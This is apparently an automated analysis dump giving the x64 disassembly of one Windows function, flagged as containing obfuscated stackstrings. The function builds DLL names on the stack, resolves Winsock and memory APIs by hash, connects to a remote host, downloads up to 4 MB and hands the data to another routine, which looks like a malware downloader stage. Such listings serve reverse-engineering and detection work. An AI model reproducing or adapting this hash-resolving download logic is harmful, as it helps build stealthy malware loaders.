Function at 0x140009f44
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov dword [rax + 0x20], r9d
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1c8]
sub rsp, 0x288
movsxd rsi, r9d
mov dword [rsp + 0x20], 0x6376736d
mov dword [rsp + 0x24], 0x642e7472
mov word [rsp + 0x28], 0x6c6c
mov byte [rsp + 0x2a], 0
mov dword [rsp + 0x30], 0x5f327377
mov dword [rsp + 0x34], 0x642e3233
mov word [rsp + 0x38], 0x6c6c
mov byte [rsp + 0x3a], 0
call fcn.140009160
mov edx, 0x666395b
mov rcx, rax
call fcn.1400091f4
mov rbx, rax
lea rcx, [rsp + 0x20]
call rbx
lea rcx, [rsp + 0x30]
mov rdi, rax
call rbx
mov edx, 0xd82b830
mov rcx, rdi
mov rbx, rax
call fcn.1400091f4
mov edx, 0xd827590
mov qword [rsp + 0x60], rax
mov rcx, rdi
call fcn.1400091f4
mov edx, 0x7c96f087
mov qword [rsp + 0x50], rax
mov rcx, rdi
call fcn.1400091f4
mov edx, 0xd39ad3d
mov qword [rbp - 0x68], rax
mov rcx, rdi
mov r13, rax
call fcn.1400091f4
mov edx, 0x1c31032e
mov qword [rsp + 0x48], rax
mov rcx, rbx
mov r14, rax
call fcn.1400091f4
mov edx, 0xd3764dcf
mov qword [rsp + 0x70], rax
mov rcx, rbx
call fcn.1400091f4
mov edx, 0x7c9ddb4f
mov qword [rsp + 0x78], rax
mov rcx, rbx
call fcn.1400091f4
mov edx, 0x7c9d4d95
mov qword [rbp - 0x78], rax
mov rcx, rbx
call fcn.1400091f4
mov edx, 0x494cb104
mov qword [rbp - 0x70], rax
mov rcx, rbx
call fcn.1400091f4
mov edx, 0x998b3f03
mov rcx, rbx
mov r12, rax
call fcn.1400091f4
mov edx, 0xb77d23f8
mov qword [rsp + 0x58], rax
mov rcx, rbx
call fcn.1400091f4
mov edx, 0xa852b70e
mov rcx, rbx
mov r15, rax
call fcn.1400091f4
mov edx, 0x7c84cdcc
mov qword [rbp - 0x60], rax
mov rcx, rbx
call fcn.1400091f4
mov edx, 0x526629ce
mov qword [rsp + 0x68], rax
mov rcx, rbx
call fcn.1400091f4
cmp qword [rbp + 0x1e0], 0
mov qword [rbp - 0x80], rax
je 0x14000a267
mov qword [rbp - 0x58], rsi
jmp 0x14000a0e7
mov r14, qword [rsp + 0x48]
and qword [rsp + 0x40], 0
lea rdx, [rbp - 0x20]
mov ecx, 0x202
or rdi, 0xffffffffffffffff
call qword [rsp + 0x58]
test eax, eax
jne 0x14000a0e7
xor edx, edx
lea r8d, [rdi + 0x31]
lea rcx, [rbp - 0x50]
call qword [rsp + 0x60]
mov rdx, qword [rbp + 0x1d8]
lea r9, [rsp + 0x40]
mov rcx, qword [rbp + 0x1d0]
lea r8, [rbp - 0x50]
and dword [rbp - 0x4c], 0
mov dword [rbp - 0x48], 1
mov dword [rbp - 0x44], 6
call qword [rsp + 0x68]
test eax, eax
jne 0x14000a19f
mov rbx, qword [rsp + 0x40]
jmp 0x14000a181
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [rsp + 0x70]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000a188
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
call qword [rsp + 0x78]
cmp eax, 0xffffffff
jne 0x14000a18b
mov rcx, rdi
call r12
mov rbx, qword [rbx + 0x28]
or rdi, 0xffffffffffffffff
test rbx, rbx
jne 0x14000a148
jmp 0x14000a18b
call r15
mov rcx, qword [rsp + 0x40]
call qword [rbp - 0x80]
cmp rdi, 0xffffffffffffffff
jne 0x14000a1a7
or rcx, rdi
call r12
call r15
jmp 0x14000a0e7
mov rcx, rsi
call r14
mov rdx, qword [rbp + 0x1e0]
mov r8, rsi
mov rcx, rax
mov rbx, rax
call qword [rsp + 0x50]
mov r8d, dword [rbp + 0x1e8]
xor r9d, r9d
mov rdx, rbx
mov rcx, rdi
call qword [rbp - 0x78]
mov rcx, rbx
call r13
mov ecx, 0x400000
call r14
mov r14, rax
test rax, rax
je 0x14000a0e2
mov r13, qword [rbp - 0x70]
xor esi, esi
mov r8d, 0x400000
movsxd rdx, esi
sub r8d, esi
add rdx, r14
xor r9d, r9d
mov rcx, rdi
call r13
test eax, eax
jle 0x14000a214
add esi, eax
jmp 0x14000a1f4
mov r13, qword [rbp - 0x68]
je 0x14000a21d
call qword [rbp - 0x60]
mov rcx, rdi
call r12
call r15
test esi, esi
jle 0x14000a258
add esi, 0xfffffff8
movsxd rbx, esi
mov rcx, rbx
call qword [rsp + 0x48]
lea rdx, [r14 + 8]
mov r8, rbx
mov rcx, rax
mov rdi, rax
call qword [rsp + 0x50]
mov edx, esi
mov rcx, rdi
call fcn.1400092c0
mov rcx, rdi
call r13
mov rcx, r14
call r13
mov rsi, qword [rbp - 0x58]
jmp 0x14000a0e2
add rsp, 0x288
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret